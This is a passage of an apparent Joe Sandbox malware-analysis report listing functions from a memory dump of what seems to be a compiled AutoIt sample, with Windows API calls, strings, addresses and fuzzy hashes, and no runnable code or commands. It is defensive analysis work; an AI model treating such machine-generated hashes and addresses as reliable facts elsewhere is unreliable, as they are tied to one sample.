
_wcslen.LIBCMT ref: 009BD130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 009BD13A

Strings

|, xrefs: 009BD10B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: 5abe68552246bc37a64ab199bb675431b3ba1d08f29aa31aebfcd6b7d17f9ffc
Instruction ID: a13107ad7595f5b092f3b137f796abc21c1c51233ed94ffbd6d8e3e98bbf9d12
Opcode Fuzzy Hash: 5abe68552246bc37a64ab199bb675431b3ba1d08f29aa31aebfcd6b7d17f9ffc
Instruction Fuzzy Hash: C5313971D01209ABCF15EFA4CD85EEF7FB9FF45310F000019E815A6262E731AA16CB50

Function 009D356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 009D3621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 009D365C

Strings

static, xrefs: 009D35BC

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: ab6102bce450c230512a32f015561a65aad77ad55dff2a5ccdb42afc0952577e
Instruction ID: b7bc23ff032264f0448131e1e22a320f74dfbe104db7a195778432829eebe7b7
Opcode Fuzzy Hash: ab6102bce450c230512a32f015561a65aad77ad55dff2a5ccdb42afc0952577e
Instruction Fuzzy Hash: 4331AAB1150204AEDB109F68DC81FBB73ADFF88724F40C61AF8A997280DA31ED81D761

Function 009D4537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 009D461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 009D4634

Strings

', xrefs: 009D458E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 43ae264e741ae8c251f4ce68a2fcb69d20bddee3d35c07ce38ac87541b54d14e
Instruction ID: 9690ceb82906a88f5f5b27d988d85f207cb72a665f538812f73b89dc9a45556d
Opcode Fuzzy Hash: 43ae264e741ae8c251f4ce68a2fcb69d20bddee3d35c07ce38ac87541b54d14e
Instruction Fuzzy Hash: BF310474A4120A9FDB14CFA9D991BDABBB9FB49300F14806AE905AB391D770E941CF90

Function 009D31EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 009D327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 009D3287

Strings

Combobox, xrefs: 009D3249

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: d81b3fc4007c1b9a715f12d4141fe958649e0f8d99d928101bb55e5f26db7d92
Instruction ID: 5fc6c433181e07e741f43004379bf453d2dd05a9c6a8fa464f78e98cdac08bac
Opcode Fuzzy Hash: d81b3fc4007c1b9a715f12d4141fe958649e0f8d99d928101bb55e5f26db7d92
Instruction Fuzzy Hash: 7F11E6717801087FEF119E94DC80EBB375EEB94365F10C126F62497390D6319D518760

Function 009D3710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0094600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0094604C
Part of subcall function 0094600E: GetStockObject.GDI32(00000011), ref: 00946060
Part of subcall function 0094600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 0094606A

GetWindowRect.USER32(00000000,?), ref: 009D377A
GetSysColor.USER32(00000012), ref: 009D3794

Strings

static, xrefs: 009D3757

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 147c0bd07e7c0fde7f2fecd95bdf3f78946658476ce9054d157e251bbc6e0065
Instruction ID: 84dc8693bdc909b0d7bcc7dce9ef0258cb1a3d0955a08e6f1a1d13dc1a59e5ff
Opcode Fuzzy Hash: 147c0bd07e7c0fde7f2fecd95bdf3f78946658476ce9054d157e251bbc6e0065
Instruction Fuzzy Hash: 1E1137B265060AAFDF00DFA8CC46EEA7BF8FB08355F008916F955E2250E735E851DB60

Function 009BCD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 009BCD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 009BCDA6

Strings

<local>, xrefs: 009BCD66

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 8a9722977aa643ab4db9a3a4017b2078fd213c1ad9c0a979e74aad67e2490a26
Instruction ID: 12c785c60d46ada76e4e80a2cf13154098214bdb09bbccce123fbedb447063c4
Opcode Fuzzy Hash: 8a9722977aa643ab4db9a3a4017b2078fd213c1ad9c0a979e74aad67e2490a26
Instruction Fuzzy Hash: 5F1102F9205636BAD7384B668C48EE7BEACEF927B4F40462AB149830C0D7749840D6F0

Function 009D3429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 009D34AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 009D34BA

Strings

edit, xrefs: 009D348F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 34d3e592a6967d13bad113a4c06cd84d35fd66bb8a67934510fa948a9a0a911b
Instruction ID: f8687a7d651aa59ee82946919b0356fa596ddb440fe62a454b3f5efe8993a9b7
Opcode Fuzzy Hash: 34d3e592a6967d13bad113a4c06cd84d35fd66bb8a67934510fa948a9a0a911b
Instruction Fuzzy Hash: 0411BF71180108AFEB118F64EC80AEB376EEB45379F50C726F960932E0C779DC919752

Function 009A6C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

CharUpperBuffW.USER32(?,?,?), ref: 009A6CB6
_wcslen.LIBCMT ref: 009A6CC2

Strings

STOP, xrefs: 009A6CBC, 009A6CC1

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 450299d9f71ad603ff4444494171a4f65c6425bc7fcfa469876eed9fcd94af3a
Instruction ID: f675a8550191548c6c5843435cb609c749e1143043fbc170c5069b197c5cbc8e
Opcode Fuzzy Hash: 450299d9f71ad603ff4444494171a4f65c6425bc7fcfa469876eed9fcd94af3a
Instruction Fuzzy Hash: FC012632A005278BCB209FFDDC809BF33B8EFA27647050924E9A2971D5EB35D900C690

Function 009A1CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

Part of subcall function 009A3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 009A3CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 009A1D4C

Strings

ComboBox, xrefs: 009A1CEB
ListBox, xrefs: 009A1D16

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 1a4955e8cc79df81768509ff243351f4456508278fa8cbae23d71ca5441e69ca
Instruction ID: a0b6589b75cf36c5d3021749db28811fc6a6630f693eb76c8b2ddf318cb26a5b
Opcode Fuzzy Hash: 1a4955e8cc79df81768509ff243351f4456508278fa8cbae23d71ca5441e69ca
Instruction Fuzzy Hash: 7501D875A51218ABCB08EBA4DC55DFF77A8FB87350F044A19F876573C1EA30590886A0

Function 009A1BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

Part of subcall function 009A3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 009A3CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 009A1C46

Strings

ComboBox, xrefs: 009A1BE5
ListBox, xrefs: 009A1C10

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: a08b5e047e30584a371d714e9ec45683380c4b169b4e39dd1891caad4b4089eb
Instruction ID: f54dabaefab7038ee24442432a466dd50f9f23c5424b0b35e1ea3ab2c1575a96
Opcode Fuzzy Hash: a08b5e047e30584a371d714e9ec45683380c4b169b4e39dd1891caad4b4089eb
Instruction Fuzzy Hash: 1F01A775AC110866CB04EBA0DD52EFF77BC9B53350F140419B886672C2EA249E08D6F1

Function 009A1C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

Part of subcall function 009A3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 009A3CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 009A1CC8

Strings

ComboBox, xrefs: 009A1C69
ListBox, xrefs: 009A1C94

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 1daec588812e336db6355cd93afa466143c439b43ab3e142ba3ec5f0d0bb084d
Instruction ID: d189259b7f8d6337eaabf8536ed323af186d832ec2f66403b4a341989ac60e40
Opcode Fuzzy Hash: 1daec588812e336db6355cd93afa466143c439b43ab3e142ba3ec5f0d0bb084d
Instruction Fuzzy Hash: 6701ADB5A8111866CB04EBA4DA42FFF77BCAB53350F140415B88673282EA209F08C6F1

Function 009A1D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

Part of subcall function 009A3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 009A3CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 009A1DD3

Strings

ComboBox, xrefs: 009A1D75
ListBox, xrefs: 009A1DA0

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 2b06e77c9987a30f07bf9e18873bfca3007a5121cf305bf19f8b53776585a5ea
Instruction ID: df0f2b339c3c650e4abb9d9aad5c9b49983978f45237a3120bc0bd7015c7dd3c
Opcode Fuzzy Hash: 2b06e77c9987a30f07bf9e18873bfca3007a5121cf305bf19f8b53776585a5ea
Instruction Fuzzy Hash: CEF0A471E5121966DB04F7A4DD92FFF77BCAB43350F040D15B862632C2EA60590886E0

Function 009C747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 009C7493
_wcslen.LIBCMT ref: 009C74B9

Strings

3, 3, 16, 1, xrefs: 009C7483

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: 21937b116de4e131923e0de614d4dcf9891c181e999de469eac50e85b158129c
Instruction ID: a4cb4bc2c92af8e134b42bebde8f5b0ecffb3c2257f4b1168775979142134e4c
Opcode Fuzzy Hash: 21937b116de4e131923e0de614d4dcf9891c181e999de469eac50e85b158129c
Instruction Fuzzy Hash: 14E02B02A4462020A23512FAADC1F7F968FDFC5B90710182FF981C62B6EA948D9193A2

Function 009A0B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 009A0B23

Strings

Error allocating memory., xrefs: 009A0B1C
AutoIt, xrefs: 009A0B17

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: f35210b3605d7874fa85d4c45f4134c1b670a1b76e44622b0c7ab3385f98b9cc
Instruction ID: 1bd5bbe4e247dd1d04e9ce9ea2f1689c28eab4ec746e5f04ac8f442fb057fba0
Opcode Fuzzy Hash: f35210b3605d7874fa85d4c45f4134c1b670a1b76e44622b0c7ab3385f98b9cc
Instruction Fuzzy Hash: 45E0D87128430936D2143795BC03F897B848F45B61F104427FB88555C38AD2249096E9

Function 00960D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0095F7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00960D71,?,?,?,0094100A), ref: 0095F7CE

IsDebuggerPresent.KERNEL32(?,?,?,0094100A), ref: 00960D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0094100A), ref: 00960D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00960D7F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 98ad14e4583b7736b0214c6694077502d213e9e0bcb7bea322335500afb41dd0
Instruction ID: 35d247b4fba9e93244291000c34a3ce8ffbcf83b8db364420f520c901c112a18
Opcode Fuzzy Hash: 98ad14e4583b7736b0214c6694077502d213e9e0bcb7bea322335500afb41dd0
Instruction Fuzzy Hash: 5BE092B02403018BD370DFB8E4557477BE4AF54745F008A2EE592C7795DBB0E488CBA1

Function 009B3017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 009B302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 009B3044

Strings

aut, xrefs: 009B3038

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 1cf401d1bd974c498a151254bbbeab1b5b2a4f0bc8f8cef6a9ef4ce9e4d3cd83
Instruction ID: 666c648808f7b04b69be16bdfdd89517639863fdc38fb98af0090eb045518035
Opcode Fuzzy Hash: 1cf401d1bd974c498a151254bbbeab1b5b2a4f0bc8f8cef6a9ef4ce9e4d3cd83
Instruction Fuzzy Hash: EBD05BB154531877DA20A794AC0DFC73B6CD704750F000652B755D30D5DAB0D584CAD0

Function 0099D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0099D220

Strings

X64, xrefs: 0099D2A8
%.3d, xrefs: 0099D22B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: e192cf88724b2f79171b28bae818a24920efe85e79d0fc3d93a1fe2e63d5099d
Instruction ID: d2168c4a6e83b3ab2a3fdd0b8ed06781bf046d193a48e141a53dcc2c9baf07e5
Opcode Fuzzy Hash: e192cf88724b2f79171b28bae818a24920efe85e79d0fc3d93a1fe2e63d5099d
Instruction Fuzzy Hash: 6BD012A1C0A109EACF50D7E4DC859BDB37CBB18302F508C52FD26A1080D63CD548A761

Function 009D2322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 009D232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 009D233F

Part of subcall function 009AE97B: Sleep.KERNEL32 ref: 009AE9F3

Strings

Shell_TrayWnd, xrefs: 009D2325

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: d5875b46105eb2e9ef20326dccdcc67ae890f06a490737f7443706cf3eebd75b
Instruction ID: 40b87621f9dba455601874e599079d58707b8b8ab5425e384abee8fa5f9173e7
Opcode Fuzzy Hash: d5875b46105eb2e9ef20326dccdcc67ae890f06a490737f7443706cf3eebd75b
Instruction Fuzzy Hash: A7D0C9763E9311B6EA64A770AC0FFC67A58AB40B14F0049167645AA1D0C9A0A841DA54

Function 009D2356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

